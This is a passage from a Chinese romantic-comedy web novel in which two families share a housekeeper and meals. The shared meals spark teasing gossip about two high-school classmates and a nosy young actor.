呸！ 呸！！ 呸！！！ 姜颖立马甩掉荒谬想法，轻咳了声，正色道：“行，那就这样，同时在两家工作，一三五在我这边，二四六在你那边，星期天怎么说？” 柯绍之：“” “公平起见，石头剪刀布好了。”她怕自己手气太差，赶忙补充了句，“三盘两胜。” 柯绍之脸色复杂，陷入沉默，深深叹气。 感到很离谱，他都三十多岁的人了，还要在外面，和人幼稚石头剪刀布吗？ 想到这，男人再次长长叹了声。 他无语注视着姜颖，冷声质问：“非要分这么细？” 姜颖噎了下，冷静说：“不不分这么细也行啊，那吃饭怎么说，不分这么细的话，吃饭在哪边吃？赵阿姨住谁家？” “随你便。” 柯绍之敷衍回了句，完全不想浪费时间精力在这种鸡毛蒜皮小事上。 姜颖凝思片刻，本想说，怎么能让宁宝去你们家吃饭，但转念想了想，感觉让一大一小两男的来她们家吃饭更不合适。 而且高中生上学早，大早上就在厨房叮呤咣啷做早饭，肯定会吵到姜织宁休息，姜织宁喜欢安静，还是让赵阿姨住柯绍之那边吧。 姜颖拍板说：“我家小朋友睡眠不好，需要极度安静，赵阿姨住你那边，我们平时吃饭也去你家吃，就这样。” 柯绍之没意见，淡淡嗯了声。 至此，困扰许久的心头大事终于一锤定音，姜颖松了口气，脸上露出满意笑容。 第38章 引人遐想的一幕 晚自习回到家时, 姜颖正在客厅里练瑜伽，嘴里轻哼着欢快小调。 “姑姑今天心情很好嘛。” 姜织宁一边换鞋一边说。 “对啊。”姜颖放下悬在空中的腿，人坐正, 笑眯眯看着姜织宁，神清气爽地说, “我终于把赵阿姨从对门手里抢过来了，从明天开始, 我们将迎来崭新的美好生活！” 姜织宁：“” 她默默瞄了眼大门，内心突然对柯译衍产生了一丝丝愧疚感, 这样的话, 他那边岂不是要重新找阿姨了？ 姜织宁沉默几秒, 小心翼翼问：“就就这么明抢过来了？” “没错，姑姑是不是很厉害！” 姜颖骄傲抬起下巴, 摆出一副求夸奖的俏皮模样。 姜织宁：“” 讲真，她有点夸不出来。 强烈感受到本就糟糕的邻居关系即将雪上加霜, 正如周静瑶所说，可能不久之后, 她们真要去买面镜子挂大门上了。 姜织宁怕矛盾激化，忍不住走到女人身前, 担忧问：“柯叔叔就这么轻易同意了？” 姜颖点头：“同意了啊, 还是他主动找上门的, 对了, 明天去对面吃早饭。” 姜织宁茫然啊了声：“哪个对面？” “当然是对面柯绍之家。” 抢了人家阿姨，还要光明正大去吃早饭？ 这样真的好吗……绝对会战火升级, 变成修罗场的。 姜织宁蹙眉说：“姑姑, 这太不好吧” 姜颖一边拉伸，一边说：“嗯, 我原来也觉得不太方便，但是让他们来我们家吃饭更不像话，所以，还是我们过去好了，这样家里清爽干净，还不吵闹。” 姑姑的话越来越听不懂了，姜织宁一头雾水。 拉伸结束，姜颖愉快起身，收好瑜伽垫，一转头，对上侄女充满迷茫的目光。 她愣了愣，静默数秒，恍然意识到自己话没讲清楚。 姜颖笑起来：“哎呀，忘了和你说，以后赵阿姨会同时在我们家和柯绍之家工作，已经商量好了，赵阿姨平时住对面，你有什么想吃的菜，有需要她做的事，直接告诉她就行。” 原来是这样，姜织宁总算明白了。 明明前几天，两位长辈还是一副仇人相见分外眼红的状况，没想到，这么快就关系大破冰了，也不知道姑姑用了什么手段，居然能让柯叔叔主动握手言和。 不明觉厉，太厉害了！ 姜织宁肃然起敬看着姑姑，双手同时竖起大拇指，献上发自内心的赞美：“姑姑高明。” 姜颖笑眯眯，得意摆摆手：“一般水平，一般水平。” * 隔天一早，姜颖早早起床，陪姜织宁过去吃早饭。 大门是密码锁，姜颖一边输密码，一边叮嘱姜织宁：“密码你记住。” 姜织宁点头记下，心里忽然蹦出一种茫茫然的不真实感。 怎么说呢，总感觉事情的发展有点莫名其妙，完全不按照正常轨迹进行，眼睛一闭一睁，转眼间，她就拥有了柯译衍家的密码。 手握密码，出入自由，好魔幻啊。 门打开，姜织宁跟着姑姑走进去。 斜前方就是餐厅，赵阿姨端着一笼蒸饺从厨房里走出来，看到姜颖来了，她立马笑着打了声招呼。 “姜小姐来了。” 柯译衍拿着书，从房间里走出来，抬眼时，忽然发现姜织宁站在餐桌旁，他脚步顿住，脸上表情明显愣了一下。 大早上的，她怎么会在这里？这是什么大变活人？ 少女估计还没完全清醒，就这么迷迷瞪瞪望着他，彼此目光对视上的那一瞬间，都挺懵，都有种不真实感。 思维停滞数秒，柯译衍率先反应过来，想起昨天晚上，舅舅和他提过一嘴，说以后赵阿姨同时在两家工作，对门邻居会过来一起吃饭。 那会儿他没在意，以为只是偶尔过来一趟，但是眼下这幅架势，该不会，以后姜织宁天天都要过来吃饭吧？ 这个家，变成了公共食堂。 柯译衍皱了皱眉，有点不太习惯，他喜欢独处，从小就这样。 “宁宝过来坐。” 姜颖喊了声。 姜织宁做了一晚上的怪梦，确实没睡好，她抬手揉着酸胀眼睛，慢吞吞坐到餐桌前。 柯绍之中午要飞雾京出差，因此也早起，四人围着餐桌吃早饭，气氛微妙，并没有想象中的欢乐和谐，反而安静到令人觉得压抑。 姜颖认为，她和柯绍之只是就事论事，谈妥了某些事，并不代表彼此之间真正破冰，也不代表以后见到他，她会拿出什么好态度，加上她有严重起床气，所以吃早餐时，她全程面无表情，闭口不言。 而柯绍之和柯译衍两位，俨然是遵守老祖宗“食不言寝不语”的优秀代表，吃饭时很安静，同样一言不发。 姜织宁精气神不佳，整个人很困倦，脸色麻木，眼睫沉重垂坠着，也懒得说话，唯有嘴巴开开合合，机械式吃着早餐。 柯译衍坐姜织宁对面，不经意瞥了她一眼，只见少女迷迷糊糊撑着脸颊，欲伸向蒸饺的筷子因为人犯困，搞笑夹到了餐盘边缘。 他唇角不着痕迹地弯了弯，好心把蒸饺推到她面前。 所有人都沉默不语，唯有赵阿姨开口时，才会响起零星附和声。 片刻，诡异气氛突然被敲门声打破。 赵阿姨打开门，一位年轻男人从门口探进来半个身子。 “哎呀，这么巧，柯总也在家呢！” 男人手里拎着两个柏风酒店的纸袋子，在柯绍之的眼神示意下，笑眯眯走进来，身后还跟着韩辰。 韩辰欢快抬起手，冲柯译衍挥了挥，紧接着，目光好奇挪向坐在柯译衍对面的女生。 与此同时，姜织宁听到动静，慢吞吞扭头瞥了眼，发现是韩辰，毫无兴趣关心他来干什么，顾自回头，继续喝牛奶。 而韩辰就很震惊了，他双眼瞪到极限，跟见鬼似的盯着姜织宁，震惊心想，妈呀，她怎么会在柯译衍家吃早餐啊？？？ 引人遐想的一幕。 他下意识看向柯译衍，不可思议的目光在双A组之间来回移动。 突然上门的男人是韩辰的经纪人，他将纸袋子递给赵阿姨，笑着对柯绍之说：“没什么大事，早上在酒店里给韩辰带早餐，韩辰特意打电话过来，让我多打包一份，说译衍喜欢喝柏风酒店的海鲜粥。” 柯绍之淡笑：“有心了，吃早饭了吗？要不要一起坐下来吃？” “不麻烦，我们已经吃过了。” 闲聊时，经纪人有意无意地打量了姜颖好几眼，一边奇怪心想，柯总不是单身吗，一边觉得女人越看越眼熟。 离开之前，经纪人试探询问：“柯总，这位是不是SVIEW的” 柯绍之颔首介绍：“SVIEW姜总。” 经纪人会意，立马拿出随身携带的名片，双手递给姜颖，笑着自我介绍：“姜总好，我是季嘉娱乐的经纪人，韩辰和徐艺纯都是我带的艺人。” 姜颖接过名片。 简单寒暄几句后，经纪人带着韩辰离开。 电梯里，经纪人用一种“哦，原来你住这里还是有点用处”的眼神，意味深长看着韩辰。 韩辰八卦欲上身，正在给俞杨通风报信，说姜织宁居然在柯译衍家吃早饭！绝对有鬼！ 信息编辑好发出去，一扭头，就发现经纪人目光深沉盯着他。 韩辰吓一跳，手机差点没拿稳，皱眉道：“干嘛？” “这趟早餐送得值。”经纪人缓缓笑起来，“没想到，姜织宁居然是姜总的侄女，对了，姜织宁现在有没有签公司？” 韩辰：“应该没吧。” “没签？”经纪人眼睛一亮，立马责怪道，“你怎么不早说姜织宁住你楼上？” 韩辰不解：“这有什么好说的，我和她又不算熟，幼儿园同学而已。” “什么？她还是你幼儿园同学？？？”经纪人无奈摆摆手，“唉算了算了，幸好今天给你带早餐，有幸认识到姜总，韩辰我和你说啊，以后见到姜总，你一定要礼貌打招呼。” * 吃完早饭，姜颖回去换了身衣服，说要开车送姜织宁上学。 “不用了姑姑，我走过去就行。” 姜织宁婉拒，其实她挺喜欢步行。 高中生和上班族差不多，一天到晚，久坐在位子上，在快节奏的高压环境里久坐，人并不舒服，所以上学和放学的步行时间，她正好可以当做放松。 小区到学校之间，有一段风景绿化都很不错的幽静小路，走在这条小路上，鼻尖嗅的是含氧量极高的新鲜空气，耳畔是自由流动的风，内心无比轻盈。 虽然会绕一些，但姜织宁格外喜欢走这条小路，尤其天气好的时候，步行是件很惬意的事。 姜颖坚持说：“我正好开车去公司，一起吧，自从住到这边来，姑姑还没送过你上学呢。” 太久没在早高峰时间坐车上学了，姜织宁没多想，不清醒的妥协答应。 知道这段路很堵，特别是早上上学和晚自习放学的时候，有很多家长开车到校门口接人。 但是，姜织宁实在没想到会这么堵，汽车仿佛被下了定身咒，硬生生卡在半路上，纹丝不动。 充裕的时间因为堵车，逐渐变得紧张起来。 “今天怎么回事啊？这么堵。”姜颖奇怪说。 姜织宁再次看了眼手机，内心深深叹气。 时间不留情，一分一秒过去，要迟到了。 实在没办法，姜织宁不得不给班主任打了个电话。 她说自己堵在学校附近，可能要迟到，刘彬也没觉得奇怪，笑说，学校这边确实堵车严重，还不忘叮嘱她慢慢来，别跑太着急。 直到早读课快要开始，姜织宁才姗姗来迟。 俞杨转身，关心问：“宁王，你不是和衍神一起吃的早饭吗，怎么就你迟到了？” 姜织宁诧异：“你消息这么灵通啊。” 俞杨：“哈哈哈，也没有，韩辰和我说的。” “”姜织宁下意识去看柯译衍，神情不解问，“这是什么了不起的大事吗？值得韩辰第一时间传播出去？” 刚才吃早饭那会儿，确实有种不真实感，但现在，姜织宁已经完全接受了。 她从容想，不就是以后在柯译衍家，和他一起吃饭么，没什么好奇怪的，像学校里的某些走读生，为了方便读书，还会在学校附近合租房子，很正常的事。 比起姑姑和柯叔叔曾经是初恋的抓马关系，姜织宁认为，她和柯译衍一起吃饭，完全是洒洒水的小事。 不过，对于柯译衍来说，他确实有点不习惯。 毕竟家里突然多出个女生，姜阿姨也会过来，他独居惯了，需要适应几天，仅此而已，也算不上大事。 至于舅舅和姜阿姨之间，比起针锋相对，他私心希望，二位能够和平共处。 被姜织宁这么一问，柯译衍也觉得韩辰小题大做，冷脸无语道：“谁知道他。” “所以，你们怎么会突然一起吃早饭啊？”俞杨好奇问。 姜织宁：“我姑姑和柯叔叔是” 她忽然停住，扭头望向柯译衍，用眼神征询他意思。 柯译衍默契会意，沉默一瞬后，接话说：“老同学。” 嗯，真聪明，这个说法没毛病，姜织宁赞同点头。 俞杨惊讶脸：“啊，这么巧啊？” 姜织宁嗯了声：“我家不是最近在找新阿姨吗，我姑姑看中的阿姨正好在柯叔叔家工作，所以就共用一个阿姨，一起吃饭。” “懂了懂了。”俞杨会意点头，理解说，“人家是拼租，你们是拼阿姨，我就说嘛，韩辰这个神经病，看我不骂死他” 他嘀嘀咕咕转身，作势骂人去了。 俞杨瞄了眼班门口，趁班主任彬彬还没来，他偷偷拿出手机，给韩辰发送骂人信息。 韩辰这个神经病！ 真的让他很无语。 大早上，给他甩来一张照片，然后狂发微信，说双A组有情况！ 韩辰还是坚持之前的观点。 他用他演员的名声发誓，始终认为自己火眼金睛，觉得柯译衍和姜织宁之间，绝对！有点东西！ 他还说，鉴于柯译衍上次明确否认过，那么双A组大概率处于潜伏期。 韩辰绘声绘色，发表着小作文，俞杨看了眼照片，是挺像那么回事，于是半信半疑去问姜织宁。 结果人宁王说，长辈之间互相认识 那就说得通了啊，拼租都很常见，拼阿姨完全是小事嘛，老同学帮帮忙怎么了，大惊小怪！ 周围朋友老说他戏精，他看韩辰才是真正的戏精之王！ 俞杨无语发完骂人信息，将手机藏进书包里。 这一天天的，韩大明星怎么这么闲呢？ 还有空八卦别人，唉，他是不是要凉了哎 …… 今天是周五，又到了大家最期盼的周末假期。 上回社团纳新，由于街舞社报名人数实在太多，远远超出负荷，社长余诗决定开启面试。 每位候选人自行准备一分钟舞蹈，现场表演，通过评委考核的人才能入社，考核期间，她们会顺势挑选出预备核心队员。 姜织宁是评委之一，下午活动课铃响，她收拾好书包，快速赶向舞蹈教室。 看表演，打分，统计，商定结果，一直忙碌到放学过去一个多小时，才结束全部工作。 “宁王幸苦啦，要不要和我们一起吃晚饭？她们说去吃火锅。” 余诗捧着厚厚一叠统计表，欢快跑过来问。 姜织宁拎起书包：“下次吧，我姑姑在校门口等我。” “好，那下次约，拜拜。” 白色轿车停在校门口停车位上，姜颖发现姜织宁走出校门，及时降下车窗，伸出纤细白皙的手臂，冲少女挥了挥。 姜织宁很快注意到，抿唇笑起来，调转方向，快步走到车后门，打开车门放下书包，然后拐到副驾驶坐上。 她系好安全带，轿车却停在原地不动。 她转头，发现女人正偏头盯着校门口看。 姜织宁跟着瞄了两眼，什么也没有，便好奇问：“姑姑你在看什么啊？” 姜颖慢悠悠说：“看看有没有拿礼物的可疑小男生，偷偷尾随我家宁宝。” 姜织宁：“没有。” “是吗？” “嗯，真没有。” 女人收回视线，故意用一种“姑姑is watching you！”的犀利目光，严肃凝视着姜织宁。 姜织宁有点无语，又觉得有点搞笑，总觉得，姑姑还是在介意那天晚上，亲眼看到她和柯译衍一起从电梯里出来。 她忍不住解释说：“姑姑，前几天我和柯译衍真的只是在小区门口偶遇上，绝对不是约着一起回来。” “哦，我没指他。”姜颖一边转动方向盘，一边自信说，“毕竟是在我眼皮子底下，谅他也不敢有什么小动作，我是看看，有没有暗恋你的其他男生。” 她宝贝侄女童星出身，外貌张扬夺目，头顶江中校花大名，用脚趾头想想都知道，暗恋或是追求侄女的人绝对排长队。 上了高中，便意味着快要成年，少年少女们的身心逐渐从懵懂过度到成熟，在这种状态下共处三年，确实容易春心萌动。 况且，现在的小朋友都早熟，姜颖自己就是过来人，不要太懂青春期里的小心思。 之间渣男家教那件事，就是给姜颖的一记警钟，她眼光很高，无法接受宝贝侄女被不三不四的人拐跑。 姜颖开着车，说起心里话。 “宁宝，姑姑是过来人，知道在青春期里，发生暗恋和被暗恋是一件很常见的事。姑姑想说，在你们这个年纪里，感情是一件不需要着急，也很微不足道的芝麻小事。” “除了把时间精力花在学习上，更要趁着最好的时光，多出去走走，亲眼看看世界。” “去感受不同风景，去体验不同文化，去倾听不同声音，去思考不同想法，眼界高一点，因为世界特别大，特别精彩。” “同样的风土人情，在不同年龄阶段，会产生不一样的心境，可能有些人事物，等到了姑姑这个年纪，就会觉得索然无味，但在你们眼里，却闪闪发光，新奇又美好。” “人的一生，或许很漫长，或许很短暂，姑姑希望你无论什么时候，尽可能的，多收藏这些闪闪发光的小美好，别错过它们，等到日后回首人生，这些小美好，就是你口袋里独一无二的宝藏。” 第39章 你不会喜欢我吧？ 姜颖带姜织宁去了一家开在市中心, 名为禾上的餐厅吃饭。 重新上学之后久违的家庭聚餐，就姑侄两人，气氛愉悦放松, 在外人眼里看来，完全像是两姐妹相处。 餐厅食物很合姜织宁胃口, 尤其是杏仁片，临走前, 她特意打包了两盒。 等待结账时，姜织宁收到周静瑶发来的消息。 她看了眼, 放下手机, 问姜颖：“姑姑, SVIEW的新广告什么时候开始拍摄？” “怎么了？” “周导刚在问，之前我不是和你提过一嘴嘛, 周导她想去拍摄现场学习。” “哦，好像快了吧, 十一还是什么时候，待会儿我问问助理。” “嗯好。” 隔天是周六。 早起的生物钟作怪, 导致姜织宁并没有晚睡，七点不到就醒了。 一旦醒了就睡不着, 但又想赖会儿床, 她捞过床头柜上的平板, 打开英语广播练习听力, 等到了八点多，她才爬起来洗漱。 从洗手间出来, 正巧碰上赵阿姨开门进来, 女人手里拎了袋刚从菜市场买回来的新鲜水果。 赵阿姨见姜织宁起了，笑道：“宁宝起来啦, 阿姨刚做好早餐，现在就可以去柯先生家吃。还给你们买了点乡下果园现运过来的应季水果，可甜可新鲜，给你放冰箱里啊。” 姜织宁点点头。 她进房间换了套家居服，出来时，对面房门打开。 姜颖单手叉腰，困倦打着哈欠：“过去吃早饭？” “嗯。” 脑子很困，但女人还是强撑起精神说：“等下，姑姑陪你过去。” 姜织宁看不下去，劝道：“姑姑，你还是回去补觉吧，我吃完早饭就回来了，很快的，反正柯叔叔也不在” 姜颖揉眼睛的手停顿住，抓住重点，反问道：“什么？柯绍之不在？” 姜织宁点头：“赵阿姨说柯叔叔出差了，估计要过段时间才回来。” 女人沉默一瞬，瞬间没了兴趣，转身打开房门，另一只手冲姜织宁敷衍挥了挥。 “哦，那你去吃吧，我再睡会儿。” 原本姜颖想着，对面男生有柯绍之陪，那她身为家长，当然不能让姜织宁在饭桌上孤零零落单，她也得陪着。 气势不能输！ 既然柯绍之不在，没意思。 算了，还是回去睡美容觉。 所以重点是柯叔叔？ 姜织宁好笑看着房门关上，内心佩服叹气。 可以，她姑姑不愧是一生要强的大女人。 …… 姜织宁站在大门前沉思。 呃前面是948还是968，柯叔叔家密码是多少来着？ 有点忘记了。 她按了三遍，全都响起密码错误的提示声，正要尝试第四遍时，大门突然打开。 柯译衍站在门里面，脸上没什么表情地看着姜织宁，困惑心想，周末大早上，她过来有什么事，随后迟钝想起来，她过来吃早饭。 啧，还是有点不习惯啊。 门突然打开，姜织宁愣了秒，抬眸望向柯译衍，及时解释：“忘记密码了。” 柯译衍微微点头，什么也没说，主动挪开位置，让她进来，然后走出门。 姜织宁扭头看他，下意识问：“你去哪？” 柯译衍：“拿快递。” “哦。” 因为柯绍之出差，姜颖也不想过来了，到了午饭时间，女人化妆打扮好，靓丽出门。 男孩子养得没这么精细，柯译衍从小独立惯了，柯绍之也不怎么管生活上的小事，因此，两位高中生的饮食大权交由姜颖负责。 姜颖肯定把姜织宁的需求放首位，所以在她的叮嘱下，今天午饭赵阿姨做了拿手的药膳，其中一道便是姜织宁快要吃到吐的天麻炖鱼头。 姜织宁手拿筷子，双眼无神盯着砂锅里的死鱼眼，叹气，再叹气。 “宁宝，先喝汤啊，姜小姐说了，鱼头汤一定要多喝。”赵阿姨从厨房里探出半个身子，笑眯眯说，“中药我现在放锅里热着，等你吃完饭，我再给你倒出来。” 姜织宁：“” 啊，还要喝中药，双重打击，姜织宁顿时生无可恋，眼睛里更没光了。 赵阿姨怕姜织宁不听话，特意冲柯译衍挤眉弄眼，意思让他做会儿监工，监督姜织宁有没有认真喝汤。 柯译衍会意颔首，一回头，便看到姜织宁单手撑着脸颊，直勾勾盯着他。 不等他开口，姜织宁长长叹了声，老实巴交地说：“会喝的。” 不情愿归不情愿，她并不是任性的人。 柯译衍忍俊不禁，被她生无可恋的模样逗笑，唇角微弯：“这么不情愿，汤不好喝？” 她干巴巴说：“好喝，但经常喝就会PTSD啊，主要是还要喝中药，烦恼加倍。” 柯译衍：“家里有糖没？” “啊”姜织宁回忆了下，不太确定地说，“应该有吧，没事，也可以用饼干压一压中药味，正好昨天买了杏仁片，哦对了” 这会儿说到杏仁片，她才想起来差点忘记的事，她起身去拿桌角处的杏仁片，放到柯译衍手边。 “给我的？”柯译衍挑眉。 “是啊，之前你不是给我买糖葫芦了吗，昨天放学，姑姑带我去市区餐厅吃饭，意外发现杏仁片特别好吃，就顺手给你带了份。” 姜织宁给自己舀了碗鱼汤，语气自然地说：“礼尚往来，传统美德，不用谢。” 哪怕是礼尚往来，也让柯译衍感到有些意外。 他顺势看向杏仁片，忽然发现包装盒上印着店名，目光顿了顿，拿起盒子看了一眼，平静放下。 柯译衍淡声问：“好吃吗？” 姜织宁：“啊？” 柯译衍：“那家餐厅。” 姜织宁：“哦，好吃啊，好像在网上挺火的，店名就在盒子上，你有没有去过这家？” 柯译衍：“没。” 气氛有点不对劲。 姜织宁敏锐察觉到少年忽然冷淡下来的态度，目光不解看着他，试探问：“怎么了，你不喜欢吃杏仁片？还是那家餐厅有什么问题？” 柯译衍沉默半响，目无情绪地说：“没问题，我妈开的。” 姜织宁愣怔住，哑口无言。 之前俞杨说过，柯译衍和父母关系不好。 这家餐厅是他妈妈开的，他却没去过。 那她给他带餐厅里的杏仁片，不就是精准往他雷区上踩吗 姜织宁默默心想，我真该死啊 她破天荒语塞住，一时之间，什么话也憋不出来，情急之下，她猛然起身。 实木椅在地板上拖出一道刺耳尖锐的声音。 姜织宁探身去拿杏仁片，脸色镇定，瞎掰道：“刚才忘了提醒你，这个有点甜，嗯，真的太甜了，你们男生应该不喜欢吃甜食，还是我自己吃吧。” “没事。”柯译衍伸手拦住她，心平气和地说。 姜织宁：“啊” 他淡笑了笑，说：“能吃，没那么夸张。” 她只好作罢，装出若无其事的模样：“嗯，好。” 柯译衍下巴微抬，冲她身后的储藏柜指了下，“后面柜子里放了盒酸糖，喝完中药自己拿。” “噢，真贴心哎朋友。”姜织宁眉眼弯弯，试图缓和气氛，打趣回他一句。 她脑子里的思路，完全没往“他家为什么会有酸糖，他又不吃，特意为谁准备”的方向怀疑。 之前吃早饭都是来去匆匆，没有好好打量过柯叔叔的家，眼下，正好可以借此转移话题。 姜织宁四处打量周围，好奇问：“明明格局一样，为什么你家看上去大很多？” 装修风格也完全不同。 姜织宁那户的房东是位退休教师，房子装修中规中矩，偏中式传统，而柯译衍这边就很有设计风格，独特亮眼。 对比起来，就像是旧房子和新房子。 柯译衍解释：“前户主是对设计师夫妇，把能砸的墙都砸了。” “难怪看上去更宽阔。”姜织宁目光落到摆在客厅角落的钢琴上，感兴趣问，“你还会弹钢琴啊？” 他嗯了声：“小时候学过。” 小时候学过，那估计就是普通水平，姜织宁下意识这么想，没多问下去。 吃完午饭，赵阿姨把温着的中药倒进碗里，递给姜织宁喝。 “我去，怎么有股中药味？” 身后突然传来一道年轻男声，姜织宁以为是柯叔叔回来，扭头瞥了眼，结果是韩辰。 大明星怎么这么闲啊？ 一天到晚串门。 姜织宁捧着碗从厨房里走出来，坐到位子上，诧异对柯译衍说：“他居然有你家密码。” 柯译衍从柜子里拿出那盒酸糖，放到姜织宁手边，顺势坐到她身旁，他放松靠向椅背，懒散抱臂看着韩辰，冷眼质问：“密码哪来的？” 这一瞬，双A组齐刷刷盯着韩辰，默契十足的既视感。 “我可没有啊！”韩辰立马指向大门，冤枉说，“这门就没关上！” 赵阿姨洗了盆青提，端出来放桌上，帮忙解释：“没事没事，是我刚才开的，准备去扔垃圾呢。” 姜织宁周围有股浓厚药味，韩辰避退三舍，人站远处，状似随意问：“宁王怎么也在？” 姜织宁：“过来吃午饭啊。” 韩辰耐人寻味盯着坐在一起，颜值爆表的双A组，狐疑问：“你们真的共用一个阿姨？” “对啊。”她不以为意地说，“有什么问题？” 韩辰想了想，感兴趣提议：“问题倒是没有，就是想问问，我能一起不？” 姜织宁笑起来，刚想说交伙食费了吗，就听见柯译衍冷酷无情拒绝：“不行。” 韩辰不乐意道：“怎么就不行呢，我可以交双倍伙食费啊！而且我很忙的，也不会天天来蹭饭。” 真当这里是公共食堂了？ 柯译衍冷声道：“劝你早点洗洗睡。” 韩辰：“” 姜织宁喝完中药，药味散的差不多，韩辰才慢吞吞挪到餐桌这边坐下，他余光瞄见杏仁片，正想拿来瞧一眼，就被姜织宁眼疾手快抢走。 韩辰：“?” 姜织宁：“我的。” 韩辰：“哦，让我尝尝。” 姜织宁：“不行。” 韩辰：“？” 姜织宁偷偷瞄了眼柯译衍。 少年正垂眸玩手机，看似根本没关心这边，于是，她把杏仁片放到柯译衍附近，淡定说：“尝什么尝，我给自己买的，你吃这个。” 青提推到韩辰面前。 “吃独食啊你。”韩辰推开青提，斜眼瞅着她，不满嘘了句，然后冲杏仁片努努嘴，“不想吃提子，就想吃杏仁片。” “……” 姜织宁歪头注视着男生那副久违的欠揍样，也没着急，慢吞吞嚼着酸糖，脸上表情逐渐变得不那么友善起来。 “我说韩辰啊” 她平静转移话题。 韩辰僵了下，飞快起身，没出息挪到远离姜织宁的位置上。 姜织宁慢悠悠说：“我听别人说，你老抱怨我以前锤过你。” 他硬气道：“对对啊，不就幼儿园那会儿。” 少女微微笑：“哦，突然有点怀念童年时光，你别坐那么远，坐过来下。” “要干嘛？” “刚喝完中药，心情不太好，过来让我锤一下。” “” “放心，这次我轻一点，毕竟是老同学，会照顾你的。” “” 咔嚓一声，柯译衍按灭手机，随手放桌上，他淡淡瞥了眼姜织宁替他宝贝护着的杏仁片，抬眸看向她。 另一边，韩辰下意识跳起来，麻溜躲到柯译衍身后，手指姜织宁，大声告状说：“衍神快看！惊，昔日大明星，江中校花姜织宁居然出手锤人！” 姜织宁从盘中拿了颗青提，淡定回敬：“爆，某韩姓男星偷住金主爸爸楼下，频繁上门，意图不轨。” 韩辰：“” 柯译衍：“” 这话听着 柯译衍慢吞吞扭头，深深瞧了韩辰一眼，无情拍掉肩膀上的咸猪手，嫌弃道：“给我走开。” 韩辰：“” 韩辰：“她在造谣哎！” 柯译衍看都懒得看他一眼，嫌弃挥手：“离我远点。” 韩辰：“” 姜织宁撑着脸颊，笑眯眯望着吃瘪的韩辰，忽然很直球地问了句：“我还听别人说，你私下特别关注我，没别的意思，就是想问问，你该不会是喜欢我吧？” 哈？ “咳咳咳咳咳” “我我我我喜喜欢你你你？？？” 韩辰惊呆了，脸色瞬间涨红，话都说不利索了。 “不是你说的吗，喜欢长头发，白皮肤，外向直接，欢喜冤家类型的女生。” 姜织宁反转手机屏幕，指给他看。 屏幕里，显示着韩辰接受采访时的截图，主持人问他喜欢什么类型的女生。 姜织宁耐人寻味地说：“我们之间吧，欢喜估计不多，冤家倒是很符合啊，你说是不是？” 韩辰面红耳赤，无语道：“那是剧本！为了宣传新剧才这么说的，别乱讲啊，瞎联想什么呢！！！” 她恍然大悟哦了声，云淡风轻说：“没有瞎想啊，这不是从你们男生那边学的吗。总有些男生，但凡女生主动和他做点什么，说点什么，就喜欢往她是不是喜欢我的方向脑补，那病名叫什么来着，桃花病？还是臆想症？” 韩辰：“” 她自顾自地说：“嗯没事，不喜欢就行，主要是，嫂子这种时尚单品我无福消受，吓人。” 韩辰：“” 两人打嘴仗，和柯译衍毫无关系，他也懒得插手管，但姜织宁忽然来了个“你们男生”，就让他有点不太舒服了。 骂他干嘛？他很无辜。 柯译衍面无表情睨向韩辰，心情很不美妙。 韩辰并不在乎桃花病、臆想症，他只关心自己的清白！ 怎么就喜欢她了？ 胡胡说八道！ 真服了，怎么会怀疑到他头上来？ 姜织宁这钝感力也是绝了，明明喜欢她的人是柯译衍啊！ 眼看嘴仗打不过，韩辰急眼上头，为了清白，豁出去指向柯译衍，嚷嚷道：“你怎么不说衍神喜欢你？你俩可是双A组，比欢喜冤家般配多了！” 话音落下，空气瞬间安静，落针可闻。 姜织宁止住笑意，视线一点一点挪到柯译衍脸上，茫茫然地看着他。 对视上的那一瞬间，柯译衍表情微顿，下意识避开，他目光窒息压迫，凝固韩辰脸上，冷声骂道：“发什么神经？和我有什么关系？” 韩辰怂怂缩了下脖子。 错了哥，不该拉你下水。 就是，神经，和柯译衍有什么关系。 姜织宁内心赞同吐槽。 怎么说呢，先不论之前差点导致友谊小船破裂的情书乌龙，姜织宁知道有不少男生喜欢她，但她也有自知之明，清楚自己不是人民币，不可能所有男生都对她有意思。 大概是因为受到周围好友的影响，至今为止，她的青春期充斥着吵吵闹闹的友谊，遥远却坚定的梦想，以及频繁跑医院，跑舞房。 唯独没有踏入恋爱领域。 可以说，她对这方面不太上心。 像蔡从，眼睛里只装得下游戏，游戏就是他女朋友，谈恋爱，不存在的，这辈子估计只配拥有网恋。 像周静瑶，对喜不喜欢谁完全不感兴趣，满心满眼都是诗和远方，自由万岁。 至于柯译衍，自带疏冷游离感，生人误近气场十足，在学校不收礼物不收情书，为人低调，明显和她差不多，也是一副无心恋爱的状态。 笑话，她天天坐他身边，还会不清楚这些吗？ 思及此，姜织宁笑了笑，淡定点头：“懂了。” 两男生同时看向她，心思各异。 姜织宁：“你在声东击西。” 韩辰：“不是” 姜织宁：“没用的。” 韩辰：“我” 姜织宁：“死心吧。” 韩辰：“” 姜织宁：“我不喜欢你。” 柯译衍逐渐弯起唇角，没忍住，短促笑出声。 饭吃好，药喝完，该回去做作业了，姜织宁微笑起身，也不搭理凌乱石化的韩辰，只同柯译衍打了声招呼，施施然离开。 姜织宁没有锤人，但此时，韩辰内心深刻感受到一种更为严重的伤害。 他默默看向柯译衍，蹦出几个字：“我好冤。” 柯译衍嗤笑起身，毫无同情心地说：“以后别来了。” “”韩辰指了指杏仁片，小心翼翼提醒，“那个，宁王东西没拿走哎。” “滚啊。” 韩辰：“” 得嘞。 第40章 我家狗叫都比你好听 周一。 桂花盛开的秋季, 和桂花有关的一切美食都成了畅销品，比如姜织宁最近最喜欢的暴打柠檬桂花乌龙茶。 饮品带有柠檬的清爽，桂花蜜的香甜, 又因为有乌龙茶的存在，从而变成了一款学习提神利器, 学生们热烈追捧之下，必需排长队才能买到, 晚到就没有。 下午一放学，姜织宁和周静瑶快速奔向奶茶店。 奶茶店人很多, 姜织宁踮起脚尖探了眼, 店员拼命锤打着柠檬, 那速度力道，杯子都快锤冒烟了。 两人扫码点好单, 去旁边面包店买晚饭。 有说有笑走到面包店门口，迎面碰上个眼熟人, 姜织宁分心看了眼，认出对方是一同在音暴学习街舞的女生。 女生叫朱恬, 在隔壁附中读书，微胖圆脸, 性格社恐。 之前两人在音暴偶遇过几次, 朱恬因为害羞, 一直跃跃欲试, 不敢和姜织宁打招呼，后来姜织宁看不下去, 主动和她打了声招呼, 彼此才正式认识，算是点头之交。 擦肩而过时, 姜织宁主动冲朱恬笑了下，正要走进面包店，就被朱恬轻声喊住。 姜织宁止步转身：“怎么了？” 女生脸上露出腼腆的笑容。 朱恬轻声说：“嗯就是想问问你，有没有西西老师录的课后练习视频。” 